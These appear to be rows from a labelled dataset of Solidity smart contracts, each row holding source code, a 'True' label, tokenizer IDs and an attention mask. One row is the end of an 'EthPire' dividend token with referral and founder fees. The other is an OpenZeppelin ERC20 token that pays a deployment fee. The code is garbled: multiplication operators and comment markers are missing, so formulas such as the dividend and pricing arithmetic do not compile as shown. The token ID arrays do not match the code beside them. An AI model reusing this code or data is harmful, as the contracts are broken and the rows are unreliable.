SafeMath.add(ambassadorAccumulatedQuota_[msg.sender], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /============================== = EVENTS = ==============================/ event TokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event TokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event Reinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event Withdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); /======================================= = PUBLIC FUNCTIONS = =======================================/ /* * Converts all incoming Ethereum to tokens for the caller, and passes down the referral address (if any) / function buy(address _referredBy) public payable returns(uint256) { return purchaseTokens(msg.value, _referredBy); } fallback() external payable { purchaseTokens(msg.value, NULL_ADDRESS); } /* * Converts all of caller's dividends to tokens. / function reinvest() onlyholder() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually payoutsTo_[msg.sender] += (int256) (_dividends magnitude); // retrieve ref. bonus _dividends += referralBalance_[msg.sender]; referralBalance_[msg.sender] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, NULL_ADDRESS); // fire event emit Reinvestment(msg.sender, _dividends, _tokens); } /** * Alias of sell() and withdraw(). / function exit() public { uint256 _tokens = _balances[msg.sender]; if (_tokens > 0) { sell(_tokens); } withdraw(); } /* * Withdraws all of the callers earnings. / function withdraw() onlyholder() public { // setup data uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[msg.sender] += (int256) (_dividends magnitude); // add ref. bonus _dividends += referralBalance_[msg.sender]; referralBalance_[msg.sender] = 0; // delivery service msg.sender.transfer(_dividends); // fire event emit Withdraw(msg.sender, _dividends); } /** * Liquifies tokens to ethereum. / function sell(uint256 _amountOfTokens) onlybelievers() public { require(_amountOfTokens <= _balances[msg.sender]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(_ethereum, founderFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _founderBonus); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens _totalSupply = SafeMath.sub(_totalSupply, _tokens); _balances[msg.sender] = SafeMath.sub(_balances[msg.sender], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ _tokens + (_taxedEthereum * magnitude)); payoutsTo_[msg.sender] -= _updatedPayouts; payoutToFounders(_founderBonus); // dividing by zero is a bad idea if (_totalSupply > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / _totalSupply); } // fire event emit TokenSell(msg.sender, _tokens, _taxedEthereum); } /---------- ADMINISTRATOR ONLY FUNCTIONS ----------/ /** * administrator can manually disable the ambassador phase. / function disableInitialStage() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have administrator role"); onlyAmbassadors = false; } function setStakingRequirement(uint256 _amountOfTokens) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have administrator role"); stakingRequirement = _amountOfTokens; } /---------- HELPERS AND CALCULATORS ----------/ /* * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() / function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /* * Retrieve the tokens owned by the caller. / function myTokens() public view returns(uint256) { return balanceOf(msg.sender); } /* * Retrieve the dividends owned by the caller. / function myDividends(bool _includeReferralBonus) public view returns(uint256) { return _includeReferralBonus ? dividendsOf(msg.sender) + referralBalance_[msg.sender] : dividendsOf(msg.sender) ; } /* * Retrieve the dividend balance of any single address. / function dividendsOf(address _customerAddress) public view returns(uint256) { return (uint256) ((int256)(profitPerShare_ _balances[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function referralDividendsOf(address _customerAddress) public view returns(uint256) { return referralBalance_[_customerAddress]; } /** * Return the buy price of 1 individual token. / function sellPrice() public view returns(uint256) { if(_totalSupply == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /* * Return the sell price of 1 individual token. / function buyPrice() public view returns(uint256) { if (_totalSupply == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /========================================== = INTERNAL FUNCTIONS = ==========================================/ function payoutToFounders(uint256 _bonus) internal { uint _foundersCount = _founderAccounts.length(); for (uint i = 0; i < _foundersCount; i++) { referralBalance_[_founderAccounts.at(i)] = SafeMath.add(referralBalance_[_founderAccounts.at(i)], SafeMath.div(_bonus, _foundersCount)); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, referralFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, founderFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.add(_referralBonus, _founderBonus)); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, _totalSupply) > _totalSupply)); if (_referredBy != NULL_ADDRESS && _referredBy != msg.sender && _balances[_referredBy] >= stakingRequirement) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } payoutToFounders(_founderBonus); if(_totalSupply > 0){ _totalSupply = SafeMath.add(_totalSupply, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (_totalSupply)); // calculate the amount of tokens the customer receives over his purchase _fee = _amountOfTokens * (_dividends * magnitude / _totalSupply); } else { // add tokens to the pool _totalSupply = _amountOfTokens; } // update circulating supply & the ledger address for the customer _balances[msg.sender] = SafeMath.add(_balances[msg.sender], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // fire event emit TokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. / function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial*2) + (2(tokenPriceIncremental_ * 1e18)(_ethereum 1e18)) + (((tokenPriceIncremental_)*2)(_totalSupply*2)) + (2(tokenPriceIncremental_)_tokenPriceInitial_totalSupply) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(_totalSupply) ; return _tokensReceived; } /** * Calculate token sell value. / function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (_totalSupply + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ (_tokenSupply/1e18)) )-tokenPriceIncremental_ )(tokens_ - 1e18) ),(tokenPriceIncremental_((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }	True	[ 101, 1013, 1013, 5371, 1024, 13045, 1035, 14184, 1032, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 21183, 12146, 1032, 4372, 17897, 16670, 13462, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3075, 2005, 6605, 1008, 16770, 1024, 1013, 1013, 4372, 1012, 16948, 1012, 8917, 1013, 15536, 3211, 1013, 2275, 1035, 1006, 10061, 1035, 2951, 1035, 2828, 1007, 1031, 4520, 1033, 1997, 10968, 1008, 4127, 1012, 1008, 1008, 4520, 2031, 1996, 2206, 5144, 1024, 1008, 1008, 1011, 3787, 2024, 2794, 1010, 3718, 1010, 1998, 7039, 2005, 4598, 1999, 5377, 2051, 1008, 1006, 1051, 1006, 1015, 1007, 1007, 1012, 1008, 1011, 3787, 2024, 4372, 17897, 9250, 1999, 1051, 1006, 1050, 1007, 1012, 2053, 21586, 2024, 2081, 2006, 1996, 13063, 1012, 1008, 1008, 1036, 1036, 1036, 1008, 3206, 2742, 1063, 1008, 1013, 1013, 5587, 1996, 3075, 4725, 1008, 2478, 4372, 17897, 16670, 13462, 2005, 4372, 17897, 16670, 13462, 1012, 4769, 13462, 1025, 1008, 1008, 1013, 1013, 13520, 1037, 2275, 2110, 8023, 1008, 4372, 17897, 16670, 13462, 1012, 4769, 13462, 2797, 2026, 13462, 1025, 1008, 1065, 1008, 1036, 1036, 1036, 1008, 1008, 2004, 1997, 1058, 2509, 1012, 1014, 1012, 1014, 1010, 2069, 4520, 1997, 2828, 1036, 4769, 1036, 1006, 1036, 4769, 13462, 1036, 1007, 1998, 1036, 21318, 3372, 17788, 2575, 1036, 1008, 1006, 1036, 21318, 7666, 3388, 1036, 1007, 2024, 3569, 1012, 1008, 1013, 3075, 4372, 17897, 16670, 13462, 1063, 1013, 1013, 2000, 10408, 2023, 3075, 2005, 3674, 4127, 2007, 2004, 2210, 3642, 1013, 1013, 23318, 2004, 2825, 1010, 2057, 4339, 2009, 1999, 3408, 1997, 1037, 12391, 2275, 2828, 2007, 1013, 1013, 27507, 16703, 5300, 1012, 1013, 1013, 1996, 2275, 7375, 3594, 2797, 4972, 1010, 1998, 5310, 1011, 5307, 1013, 1013, 24977, 1006, 2107, 2004, 4769, 13462, 1007, 2024, 2074, 10236, 7347, 2105, 1996, 1013, 1013, 10318, 2275, 1012, 1013, 1013, 2023, 2965, 2008, 2057, 2064, 2069, 3443, 2047, 4372, 17897, 16670, 13462, 2015, 2005, 4127, 2008, 4906, 1013, 1013, 1999, 27507, 16703, 1012, 2358, 6820, 6593, 2275, 1063, 1013, 1013, 5527, 1997, 2275, 5300, 27507, 16703, 1031, 1033, 1035, 5300, 1025, 1013, 1013, 2597, 1997, 1996, 3643, 1999, 1996, 1036, 5300, 1036, 9140, 1010, 4606, 1015, 2138, 5950, 1014, 1013, 1013, 2965, 1037, 3643, 2003, 2025, 1999, 1996, 2275, 1012, 12375, 1006, 27507, 16703, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 1035, 5950, 2229, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5587, 1037, 3643, 2000, 1037, 2275, 1012, 1051, 1006, 1015, 1007, 1012, 1008, 1008, 5651, 2995, 2065, 1996, 3643, 2001, 2794, 2000, 1996, 2275, 1010, 2008, 2003, 2065, 2009, 2001, 2025, 1008, 2525, 2556, 1012, 1008, 1013, 3853, 1035, 5587, 1006, 2275, 5527, 2275, 1010, 27507, 16703, 3643, 1007, 2797, 5651, 1006, 22017, 2140, 1007, 1063, 2065, 1006, 999, 1035, 3397, 1006, 2275, 1010, 3643, 1007, 1007, 1063, 2275, 1012, 1035, 5300, 1012, 5245, 1006, 3643, 1007, 1025, 1013, 1013, 1996, 3643, 2003, 8250, 2012, 3091, 1011, 1015, 1010, 2021, 2057, 5587, 1015, 2000, 2035, 5950, 2229, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /* * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. / abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /* * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. / constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /* * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 